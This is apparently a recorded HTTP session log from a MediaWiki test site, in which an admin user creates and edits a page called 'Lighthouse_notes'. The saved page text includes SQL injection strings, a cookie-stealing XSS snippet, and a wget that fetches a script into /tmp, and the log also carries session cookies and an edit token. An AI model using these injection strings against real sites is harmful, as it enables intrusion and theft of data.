{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Csite%7Cjquery.client%2ClengthLimit%2CmakeCollapsible%2Ctablesorter%2CtextSelection%7Cjquery.makeCollapsible.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2CconfirmCloseWindow%2Ccookie%2Cdiff%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.action.edit%7Cmediawiki.action.edit.collapsibleFooter%2CeditWarning%7Cmediawiki.language.months%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.visibleLengthLimit%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=jtnhc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/index.php?title=Lighthouse_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3323", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryui9xf8Ac2sqeBZgh", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200050\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200050\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on Lighthouse, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave page\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\nec92de021bd867b1b27bd21302692bdb6af22673+\\\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ndiff\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh--\r\n"}
{"method": "GET", "target": "/wiki/Lighthouse_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; my_wikiPostEditRevision4=created; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery.tablesorter.styles%7Cmediawiki.page.gallery.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Csite%7Cjquery.client%2Ctablesorter%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cnotification%2Cstorage%2CtempUserCreated%2Cuser%2Cutil%2CvisibleTimeout%7Cmediawiki.action.view.postEdit%7Cmediawiki.language.months%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.icons-interactions%2Cindicators%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1jug0", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%2Ctablesorter%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.language.months%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1ao4b", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Lighthouse_notes&action=history", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Lighthouse_notes&action=edit&section=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery.tablesorter.styles%7Cmediawiki.action.edit.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.editfont.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 292", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Lighthouse_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=4&text=%3D%3D+Install+%3D%3D%0ARun+Lighthouse+and+ls+-la.%0A&token=ec92de021bd867b1b27bd21302692bdb6af22673%2B%5C"}
{"method": "POST", "target": "/index.php?title=Lighthouse_notes&action=submit&section=1", "headers": ["Host: example.com", "Content-Length: 2123", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycbYyV4Gp7qudkFAl", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n1\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200051\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200051\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n4\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n0\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\n48a19bb4c5ae768038e8343fe587d531\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n4\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n== Install ==\r\nRun Lighthouse and ls -la.\r\n\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\n/* Install */ Lighthouse\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave changes\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\nec92de021bd867b1b27bd21302692bdb6af22673+\\\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl--\r\n"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 300", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Lighthouse_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+Lighthouse&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=4&stashedtexthash=eb81fc5c1cf6d6470aa55f9d570214ebdb5c90c0&token=ec92de021bd867b1b27bd21302692bdb6af22673%2B%5C"}
{"method": "GET", "target": "/index.php?title=Lighthouse_notes&diff=cur&oldid=prev", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=codex-styles%7Cjquery.tablesorter.styles%7Cmediawiki.diff.styles%7Cmediawiki.helplink%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&diff=cur&oldid=prev", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%2Ctablesorter%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cdiff%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.language.months%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=11u0n", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Lighthouse_notes&diff=cur&oldid=prev", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Lighthouse_notes&action=info", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.action.styles%7Cmediawiki.helplink%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=info", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Ctoc%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=ub1um", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=info", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:WhatLinksHere&target=Lighthouse+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:WhatLinksHere&target=Lighthouse+notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1y0cw", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:WhatLinksHere&target=Lighthouse+notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:AllPages&from=Lighthouse", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:AllPages&from=Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:PrefixIndex&prefix=Lighthouse&namespace=0", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
